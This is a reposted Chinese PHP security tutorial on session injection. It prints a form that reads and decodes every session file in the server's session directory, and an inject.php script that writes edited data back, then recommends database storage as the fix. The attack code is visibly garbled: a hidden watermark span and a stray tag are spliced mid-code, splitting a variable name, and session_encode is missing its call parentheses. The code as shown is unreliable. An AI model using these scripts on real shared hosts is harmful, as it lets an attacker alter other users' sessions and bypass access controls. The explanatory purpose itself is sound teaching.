• 欢迎访问搞代码网站,推荐使用最新版火狐浏览器和Chrome浏览器访问本网站!
  • 如果您觉得本站非常有看点,那么赶紧使用Ctrl+D 收藏搞代码吧

PHP安全-会话注入

php 搞代码 4年前 (2022-01-22) 17次浏览 已收录 0个评论

会话注入

一个与会话暴露类似的问题是会话注入。此类攻击是基于你的WEB服务器除了对会话存储目录有读取权限外,还有写入权限。因此,存在着编写一段允许其他用户添加,编辑或删除会话的脚本的可能。下例显示了一个允许用户方便地编辑已存在的会话数据的HTML表单:

<?php   session_start();   ?>   <form action="inject.php" method="POST">   <?php   $path = ini_get('session.save_path');  $handle = dir($path);   while ($file<mark style="color:transparent">本文来源gaodaimacom搞#^代%!码&网*</mark><pre>搞代gaodaima码

name = $handle->read()) { if (substr($filename, 0, 5) == 'sess_') { $sess_data =file_get_contents("$path/$filename"); if (!empty($sess_data)) { session_decode($sess_data); $sess_data = $_SESSION; $_SESSION = array(); $sess_name = substr($filename, 5); $sess_name = htmlentities($sess_name,ENT_QUOTES, 'UTF-8'); echo "<h1>Session[$sess_name]</h1>"; foreach ($sess_data as $name =>$value) { $name = htmlentities($name, ENT_QUOTES,'UTF-8'); $value = htmlentities($value, ENT_QUOTES,'UTF-8'); echo "<p> $name: <input type=\"text\" name=\"{$sess_name}[{$name}]\" value=\"$value\" /> </p>"; } echo '<br />'; } } } $handle->close(); ?> <input type="submit" /> </form>

脚本inject.php执行由表单所指定的修改:

 <?php   session_start();   $path = ini_get('session.save_path');   foreach ($_POST as $sess_name =>$sess_data)  {    $_SESSION = $sess_data;    $sess_data = session_encode;     file_put_contents("$path/$sess_name",$sess_data);  }   $_SESSION = array();   ?>

此类攻击非常危险。攻击者不仅可以编辑你的用户的数据,还可以编辑他自己的会话数据。它比会话劫持更为强大,因为攻击者能选择所有的会话数据进行修改,从而使绕过访问限制和其他安全手段成为可能。

针对这个问题的最好解决方案是将会话数据保存在数据库中。参见前节所示。

以上就是PHP安全-会话注入的内容,更多相关内容请随时关注我们网站!


搞代码网(gaodaima.com)提供的所有资源部分来自互联网,如果有侵犯您的版权或其他权益,请说明详细缘由并提供版权或权益证明然后发送到邮箱[email protected],我们会在看到邮件的第一时间内为您处理,或直接联系QQ:872152909。本网站采用BY-NC-SA协议进行授权
转载请注明原文链接:PHP安全-会话注入

喜欢 (0)
[搞代码]
分享 (0)
发表我的评论
取消评论

表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址